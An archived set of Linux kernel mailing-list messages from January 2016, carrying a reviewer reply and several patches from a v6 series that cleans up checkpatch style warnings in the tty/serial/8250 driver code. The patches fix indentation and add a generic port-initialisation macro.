Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755682AbcAMRaq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 12:30:46 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:50217 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755654AbcAMRak (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 12:30:40 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga103.fm.intel.com with ESMTP; 13 Jan 2016 09:30:38 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="889804724"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 13 Jan 2016 09:30:30 -0800
In-Reply-To: <b8289bde414e3a671306c1076cda182e.squirrel@faumail.uni-erlangen.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126085 gmane.linux.ports.parisc:26379
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126085>

On Wed, 2016-01-13 at 18:25 +0100, Anton Wuerfel wrote:
> > On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> > > This patch removes redundant 8250 port initialization macros and
> > > replaces them by a single generic base-macro, which is
> > > specialized
> > > as needed.
> >=20
> > Perhaps you forgot.
> > Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
>=20
> Sorry, we did not even know that this tag existed. We will add this
> in our
> next patch series.
>=20

Also, please thin out the Cc list, I would recommend remove just
ordinary commiters (with maybe few exceptions) and leave maintainers.=C2=
=A0
Moreover some addresses are bounced.

--=C2=A0
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v6 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Wed, 13 Jan 2016 22:29:06 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452720610 8804 80.91.229.3 (13 Jan 2016 21:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:30:10 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 22:30:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJSzN-0004sD-Co
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 22:29:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753856AbcAMV34 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 16:29:56 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49390 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753050AbcAMV3z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:55 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id A258558C4C6;
	Wed, 13 Jan 2016 22:29:51 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:51 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26380 gmane.linux.serial:21544 gmane.linux.kernel:2126240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26380>

Hello Andy,

> Also, please thin out the Cc list, I would recommend remove just
> ordinary commiters (with maybe few exceptions) and leave maintainers. 
> Moreover some addresses are bounced.
I thinned out the Cc list and left over only maintainers and major
contributors to the code.

> Yep!
> However, you forgot to fix switch-case as well.
Phillip and me are kind of git magicians. We can make code disappear during
rebase :-) The piece of code was part of a commit, but it never made it into
the final patch file.
 
I hope, there are no major issues with our patch set.

Regards,
Anton Wuerfel
Phillip Raffeck

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/15:  Adds missing spaces (mainly to function/macro headers)
Patch 2/15:  Replace spaces with tabs wherever possible
Patch 3/15:  Slight patch which moves an opening curly brace
Patch 4/15:  Fixes multiline comment style
Patch 5/15:  Removes else blocks after return statements
Patch 6/15:  Slight patch which moves EXPORT_SYMBOL macro to correct
position
Patch 7/15:  Slight patch which removes an unneccessary line continuation
Patch 8/15:  Slight patch which adds parentheses to a macro definition
Patch 9/15:  Merges user-visible multiline strings to a single line
Patch 10/15: Replace printk by dev_* or pr_* where appropriate
Patch 11/15: Remove orphaned debug macro
Patch 12/15: Fix warnings in dev_dbg by adding two casts
Patch 13/15: Fixes code indentation
Patch 14/15: Add a generic port macro
Patch 15/15: Refactor a switch/case statement

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.
-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (15):
Phillip Raffeck (15):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Correct conversion specifiers
  tty: serial: 8250: Merge duplicate conditions
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Add generic port init macro
  tty: serial: 8250: Suitably replace printk
  tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro

 drivers/tty/serial/8250/8250.h               | 12 ++++
 drivers/tty/serial/8250/8250_accent.c        | 13 +---
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++-------
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++----
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++-----
 drivers/tty/serial/8250/8250_gsc.c           |  7 ++-
 drivers/tty/serial/8250/8250_hp300.c         | 27 +++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 60 ++++++++++---------
 drivers/tty/serial/8250/8250_pnp.c           | 28 +++++----
 drivers/tty/serial/8250/8250_port.c          | 47 ++++++++-------
 drivers/tty/serial/8250/serial_cs.c          | 90 +++++++++++++++-------------
 15 files changed, 203 insertions(+), 198 deletions(-)

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 14/15] tty: serial: 8250: Fix indentation warnings
Date: Wed, 13 Jan 2016 22:29:20 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <1452720561-28443-15-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720631 9067 80.91.229.3 (13 Jan 2016 21:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:30:31 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:30:25 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJSzn-0006l0-Tp
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:30:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754226AbcAMVaN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:30:13 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49481 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753849AbcAMVaL (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:11 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7943D58C4D4;
	Wed, 13 Jan 2016 22:30:08 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:08 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126241 gmane.linux.serial:21545 gmane.linux.ports.parisc:26381
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126241>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 16 ++++++++--------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c |  6 +++---
 3 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index b22e5a5..40aa5e7 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -842,15 +842,15 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
-		default:
-			break;
+	default:
+		break;
 	}
=20
 	if (num_serial =3D=3D 0) {
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 92f4412..79bcdf2 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 25fd6b4..9fe814f 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2236,9 +2236,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
--=20
1.9.1



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 15/15] tty: serial: 8250: Add generic port init macro
Date: Wed, 13 Jan 2016 22:29:21 +0100
Lines: 201
Approved: news@gmane.org
Message-ID: <1452720561-28443-16-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720677 9910 80.91.229.3 (13 Jan 2016 21:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:31:17 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:31:07 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT0U-00078B-Qy
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:31:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754330AbcAMVal convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:30:41 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754143AbcAMVaM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:12 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 98F8458C4DF;
	Wed, 13 Jan 2016 22:30:09 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:09 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126243 gmane.linux.serial:21546 gmane.linux.ports.parisc:26382
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126243>

This patch removes redundant 8250 port initialization macros and
replaces them by a single generic base-macro, which is specialized
as needed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250.h               | 12 ++++++++
 drivers/tty/serial/8250/8250_accent.c        | 13 ++-------
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++++++++--------=
--------
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++++--------
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++++++-----------
 5 files changed, 49 insertions(+), 62 deletions(-)

diff --git a/drivers/tty/serial/8250/8250.h b/drivers/tty/serial/8250/8=
250.h
index d54dcd8..4672ab4 100644
--- a/drivers/tty/serial/8250/8250.h
+++ b/drivers/tty/serial/8250/8250.h
@@ -92,6 +92,18 @@ struct serial8250_config {
 #define SERIAL8250_SHARE_IRQS 0
 #endif
=20
+#define SERIAL8250_PORT_FLAGS(_base, _irq, _flags)		\
+	{							\
+		.iobase		=3D _base,			\
+		.irq		=3D _irq,				\
+		.uartclk	=3D 1843200,			\
+		.iotype		=3D UPIO_PORT,			\
+		.flags		=3D UPF_BOOT_AUTOCONF | (_flags),	\
+	}
+
+#define SERIAL8250_PORT(_base, _irq) SERIAL8250_PORT_FLAGS(_base, _irq=
, 0)
+
+
 static inline int serial_in(struct uart_8250_port *up, int offset)
 {
 	return up->port.serial_in(&up->port, offset);
diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..522aeae 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,18 +10,11 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port accent_data[] =3D {
-	PORT(0x330, 4),
-	PORT(0x338, 4),
+	SERIAL8250_PORT(0x330, 4),
+	SERIAL8250_PORT(0x338, 4),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..a63b599 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,32 +10,25 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port boca_data[] =3D {
-	PORT(0x100, 12),
-	PORT(0x108, 12),
-	PORT(0x110, 12),
-	PORT(0x118, 12),
-	PORT(0x120, 12),
-	PORT(0x128, 12),
-	PORT(0x130, 12),
-	PORT(0x138, 12),
-	PORT(0x140, 12),
-	PORT(0x148, 12),
-	PORT(0x150, 12),
-	PORT(0x158, 12),
-	PORT(0x160, 12),
-	PORT(0x168, 12),
-	PORT(0x170, 12),
-	PORT(0x178, 12),
+	SERIAL8250_PORT(0x100, 12),
+	SERIAL8250_PORT(0x108, 12),
+	SERIAL8250_PORT(0x110, 12),
+	SERIAL8250_PORT(0x118, 12),
+	SERIAL8250_PORT(0x120, 12),
+	SERIAL8250_PORT(0x128, 12),
+	SERIAL8250_PORT(0x130, 12),
+	SERIAL8250_PORT(0x138, 12),
+	SERIAL8250_PORT(0x140, 12),
+	SERIAL8250_PORT(0x148, 12),
+	SERIAL8250_PORT(0x150, 12),
+	SERIAL8250_PORT(0x158, 12),
+	SERIAL8250_PORT(0x160, 12),
+	SERIAL8250_PORT(0x168, 12),
+	SERIAL8250_PORT(0x170, 12),
+	SERIAL8250_PORT(0x178, 12),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..3a7cb82 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,20 +13,13 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port exar_data[] =3D {
-	PORT(0x100, 5),
-	PORT(0x108, 5),
-	PORT(0x110, 5),
-	PORT(0x118, 5),
+	SERIAL8250_PORT(0x100, 5),
+	SERIAL8250_PORT(0x108, 5),
+	SERIAL8250_PORT(0x110, 5),
+	SERIAL8250_PORT(0x118, 5),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..4045180 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,24 +10,20 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
-	{								\
-		.iobase		=3D _base,				\
-		.irq		=3D _irq,					\
-		.uartclk	=3D 1843200,				\
-		.iotype		=3D UPIO_PORT,				\
-		.flags		=3D UPF_BOOT_AUTOCONF | UPF_FOURPORT,	\
-	}
+#include "8250.h"
+
+#define SERIAL8250_FOURPORT(_base, _irq) \
+	SERIAL8250_PORT_FLAGS(_base, _irq, UPF_FOURPORT)
=20
 static struct plat_serial8250_port fourport_data[] =3D {
-	PORT(0x1a0, 9),
-	PORT(0x1a8, 9),
-	PORT(0x1b0, 9),
-	PORT(0x1b8, 9),
-	PORT(0x2a0, 5),
-	PORT(0x2a8, 5),
-	PORT(0x2b0, 5),
-	PORT(0x2b8, 5),
+	SERIAL8250_FOURPORT(0x1a0, 9),
+	SERIAL8250_FOURPORT(0x1a8, 9),
+	SERIAL8250_FOURPORT(0x1b0, 9),
+	SERIAL8250_FOURPORT(0x1b8, 9),
+	SERIAL8250_FOURPORT(0x2a0, 5),
+	SERIAL8250_FOURPORT(0x2a8, 5),
+	SERIAL8250_FOURPORT(0x2b0, 5),
+	SERIAL8250_FOURPORT(0x2b8, 5),
 	{ },
 };
=20
--=20
1.9.1



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 04/15] tty: serial: 8250: Fix multiline comment style
Date: Wed, 13 Jan 2016 22:29:10 +0100
Lines: 202
Approved: news@gmane.org
Message-ID: <1452720561-28443-5-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720696 10127 80.91.229.3 (13 Jan 2016 21:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:31:36 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:31:24 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT0l-0007G8-La
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:31:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754182AbcAMVaL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:30:11 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753914AbcAMV37 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:59 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
